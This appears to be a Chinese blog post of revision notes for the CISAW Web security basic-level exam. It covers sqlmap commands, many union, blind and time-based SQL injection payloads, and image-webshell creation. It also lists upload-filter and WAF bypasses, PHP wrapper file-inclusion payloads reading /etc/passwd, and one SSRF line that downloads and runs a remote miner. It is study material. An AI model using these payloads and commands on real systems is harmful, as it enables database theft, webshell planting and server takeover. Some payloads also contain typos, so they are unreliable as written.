CISAW-Web基础级考证——考前复习知识点大杂烩


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


 

       明天要考CISAW-Web安全基础级证书,复习整理一下思路,明天考试

目录

sql注入时,使用sqlmap注入mysql和access数据库有什么不同

sql注入

命令执行:    

xss:

csrf

xxe

ssrf

代码审计:

php基本功:

python:


sql注入时,使用sqlmap注入mysql和access数据库有什么不同


三个给分点:
1.命令
mysql:

sqlmap   -u   url   --dbs

sqlmap   -u   url   -D   数据库名   --tables

sqlmap   -u   url   -D   数据库名   -T  表名   --columns

sqlmap   -u   url   -D   数据库名   -T  表名   -C 字段名   --dump


2. access:

sqlmap -u   url   --tables

sqlmap -u   url   --columns   -T 表名

sqlmap -u   url   -T  表名      -C 字段名    --dump

3. 说出sqlmap为什么注入access没有dbs

Access 每个数据就是个单独文件,每个Access 只有表结构

图片马的制作:
写出命令即可

/a ASCIl文本文件(默认
/b 二进制文件复制——将复制扩展字符


windows

copy 1.jpg /b + 2.php /a  hack.jpg

linux           

cp 1.jpg /b + 2.php /a hack.jpg

 

sql注入

1.union

# 判断是否存在注入
?id=1'

# 判断该注入点的长度是多少
?id=1' order by * --+

# 确认长度为*后(长度为3),获取系统信息(分别使用 user()、database()、version(),来进行查询)
?id=1' union select 1,2,version() --+

# 爆表
?id=1' union select 1,2,table_name from information_schema.tables
where table_schema='数据库名' limit 0,1 --+

# 爆字段
id=1' union select 1,2,table_column from information_schema.columns 
where table_schema='数据库名' and table_name='表名' limit 0,1 --+

# 爆账号和密码
?id=1' union select 1,username,password from users limit 0,1 --+

 

• Booleanbase(普通盲注)

• Timebase(时间盲注)

• Errorbase(基于报错的盲注)。

至于具体分别,我们在后面的试验中会学习到。 首先我们要知道在盲注中经常用到的一些方式:

 

• left(database(),1) 返回 database()的最左面 1 个字符

• length(databse()) 返回数据库的长度

• substr(a,b,c) 从 b 位置开始,截取字符串 a 的 c 长度

• ascii() 将某个字符转换为 ascii 值

• mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位

# 盲注猜解系统版本号左边开头信息
?id=1' and left(version(),1)=5 --+

# 盲注猜解系统版本长度
?id=1' and length(version())=* --+

# 盲注猜解数据库版本信息内容
?id=1' and left(version,1) > '*'  --+

# 盲注猜解数据库的表的名称
?id=1' and ascii(substr((select table_name from information_schema.
tables where table_shcema=database() limit 0,1),1,1)) > 100 --+

# 盲注猜解数据库表的列名
id=1' and ascii(substr((select table_column from information_schema
columns where table_shcema='数据库名' and table_name='表名'
limit 0,1),1,1)) > 99 --+

# 盲注猜解列名的内容
# 0x20 可以作为整型常量和单字节表示,在这里作为单字节表示,可用于字符型变量的赋值,用于char时,其代表ascii码值0x20,即字符空格''
?id=1' and 1=(select ifnull(cast(username as char),0x20) from 
数据库名.表名 order by id limi 0,1),1,)) = 68 --+

# 判断数据库
?id=1' and 1=(select 1 from information_schema.columns where
table_name='表名' and column_name regexp '^username' limit  0,1) > 97 --+






    2.bool

# 判断,同理表名字,段名
?id=1' and length(version())=8 --+
# 爆库名
?id=1' and left((select database()),8)='security'--+
# 爆表,爆字段,爆值


    3.报错(extractvalue()函数 / updatexml()函数 / floor()函数)

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()

注:updatexml注入

首先了解下updatexml()函数

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

    4.time(sleep() / benchmark)

# 判断是否存在延时注入
?id=1' and sleep(3) --+
# 判断数据库长度是否为4,如果为真则延时3秒加载也没,为false则返回1
?id=1' and  if(length(database())=4,sleep(3),1) --+
# 猜解数据库名称
?id=1' and   if(left(database(),1)='d',sleep(3),1)--+
# 猜解表名
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' , sleep(3), 1) --+
# 猜解密码字段
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password', sleep(3), 1) --+
# 猜解账号字段
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username', sleep(3), 1) --+
# 猜解密码字段内容
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+
# 猜解账号字段内容
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+

数据库
    1.mysql(information_schema)
    2.mssql(注入靠比大小)
    3.access(没有库结构,只有表列)
    

注入点:
    1.int
    2.string


文件上传:
    1. 木马
   大马/小马
     大马(功能多,代码量大)
     小马(功能单一,一行解决)

什么情况下用小马?什么情况下用大马?什么时候用过狗马?

    •  过狗小马:冰蝎小马

    • 过狗大马:过狗大马

答:遇到安全狗,直接上大马。原因是菜刀流量特征明显,而大马是正常文件正常访问。小马需要菜刀连接,而大马不需要


    2.上传点
    头像

    文件管理

    附件管理


    3.上传绕过
    前端验证
        禁用js
    类型检测
        mime
    后缀名检测
        各种截断
    头检测
       冰蝎图片木马
    图片二次渲染
        上传普通图片,判断渲染前和渲染后不变的位置
 文件包含
     远程文件包含(allow_url_include)
        包含http路径,引入webshell
    本地文件
        包含本地敏感文件(/etc/passwd,config.ini)
    伪协议
        php://input     输入/输出流

               php://input

        php://filter      PHP 归档

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php


        file://              访问本地文件系统

                file://etc/passwd


        phar://            PHP 归档(php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压)

用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 


        zip://             跟phar 类似,但用法不太一样

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php

命令执行:
    

       危险函数(exec/system/shell_exec/popen/passthru)
代码执行:
    危险函数(eval/assert/preg_replace /e参数)
反序列化:
    原理:
        构造函数__construct
        析构函数__distruct
        __sleep
        __weekup
        定义的类中的方法在serialize/unserialize时候引用方法,导致(变量覆盖,传入恶意代码)进而危害系统安全

xss:

xss本质是恶意的js代码插入到前端页面中执行
    类型:
        1.反射型
            危害小,一次性,常用作钓鱼
        2.存储型
            危害大,持久型(常常存在数据库中),常用来打cookie或截图,getshell
        3.dom型
            新型xss,通常认为是反射型,出现在各种事件处,最新研究可以是持久型

csrf

 通常和xss连用,不获取cookie,而是通过诱导点击/ajax伪造发包等方式发起伪造请求

xxe

 xml外部实体注入,可以引入外部实体实现读取本地敏感文件

ssrf

  服务器端请求伪造
        文件包含(include url)
        命令执行(wget url)
    危害:
        可以控制服务器扫描内网
        可以控制服务器下载挖矿(wget http://xxxxx/qwer;chmod a+x qwer;./qwer)

代码审计

思路:
        1.危险函数里边的可控变量
        2.外部接受的变量传递流程
        3.单个模块功能审计

php基本功:

      函数(过滤,执行,string调整,匹配对比)

python:

    变量
    四则运算
    逻辑控制(if else)
    循环(for while)
    函数
    库(丰富的库,requests/bs4/urllib2,os/sys,xls,math,iso)


我不需要自由,只想背着她的梦

一步步向前走,她给的永远不重


 

你可能感兴趣的:(Web,证书考试)